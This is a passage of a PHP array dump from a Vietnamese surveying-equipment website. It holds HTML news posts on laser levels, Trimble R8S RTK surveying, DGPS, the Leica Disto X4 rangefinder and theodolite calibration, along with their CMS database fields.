dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66484', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">Với những tính năng nổi trội như trên, Trimble R8s sẽ là một giải pháp hoàn thiện cho công tác đo đạc khảo sát thành lập bản đồ.</span> </span></span></div> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; text-align: justify; line-height: 20px; font-family: Arial, sans-serif;"> </div> ', 'images' => '20181225030718344e0b16ef2063800ec3d36fa19f99b7.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-12-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66301', 'slug' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '929', 'rght' => '930', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '531', 'name' => 'Công nghệ DGPS và ứng dụng của nó.', 'code' => null, 'alias' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span>', 'content' => '<p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>DGPS có tên gọi chính xác là Hệ thống Định vị Toàn cầu vi sai (Differential - GPS). Là một dạng nâng cao của Hệ thống Định vị Toàn cầu.</strong></span></span><br /> </p> <p> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p> <p style="text-align: center;"> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br /> <br /> Hệ thống DGPS:<br /> - Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br /> - Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br /> <br /> Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br /> <br /> Các ứng dụng hệ thống DGPS: <br /> <br /> - Ứng dụng trong trắc địa và bản đồ mặt Đất<br /> - Ứng dụng trong trắc địa và bản đồ biển<br /> - Ứng dụng trong giao thông và hải dương học trên biển<br /> - Ứng dụng trong trắc địa và bản đồ hàng không<br /> - Ứng dụng trong giao thông hàng không<br /> - Ứng dụng trong thám hiểm không gian<br /> - Ứng dụng trong quân đội<br /> <br /> <strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br /> <ul> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li> <li> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li> </ul> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p> <p style="text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p> ', 'images' => '20181123080947be329442040732a45e4832bf54eaf382.png', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-23', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68150', 'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '927', 'rght' => '928', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '530', 'name' => 'Chức năng của máy đo khoảng cách laser Disto X4', 'code' => null, 'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br /> <br /> * Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> ', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p> <p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;"> </p> <table border="0" cellpadding="0" style="width:700px;" width="700"> <tbody> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br /> Tính toán tổng diện tích tường, sàn, trần</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br /> Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br /> với những vị trí khó tiếp cận</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br /> Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br /> Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br /> Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td> </tr> <tr> <td> </td> <td> </td> <td> </td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td> </tr> <tr> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br /> Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td> <td> </td> <td> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br /> Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td> </tr> </tbody> </table> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br /> <br /> <br /> <br /> </span></span>', 'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2018-11-12', 'modified' => '2025-08-10', 'status' => '1', 'view' => '84410', 'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '925', 'rght' => '926', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $tinlq = array( (int) 0 => array( 'Post' => array( 'id' => '494', 'name' => 'Cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử', 'code' => null, 'alias' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Hãy cùng chúng tôi tìm hiểu cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử nhé!</span></span>', 'content' => '<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="1bot-thuy-dai" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1.Bọt thủy dài</span></span></span></span></h3> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt độ vuông góc trục bọt thủy dài với trục đứng của máy)</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên chân và tiến hành cân máy </span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ và kiểm tra xem bọt khí có nằm đúng tâm bọt thủy không</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp bọt thủy nằm đúng vị trí, không cần hiệu chỉnh. Nếu khác đi, tiến hành hiệu chỉnh theo hướng dẫn.</span></span></span></li> </ul> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p> <ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay vít chỉnh bọt thủy dài với tâm chính đã cung cấp kèm theo, đưa bọt khí dịch về tâm một nửa khoảng sai lệch</span></span></span></li> <li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Chỉnh tâm bọt khí bằng vít cân máy 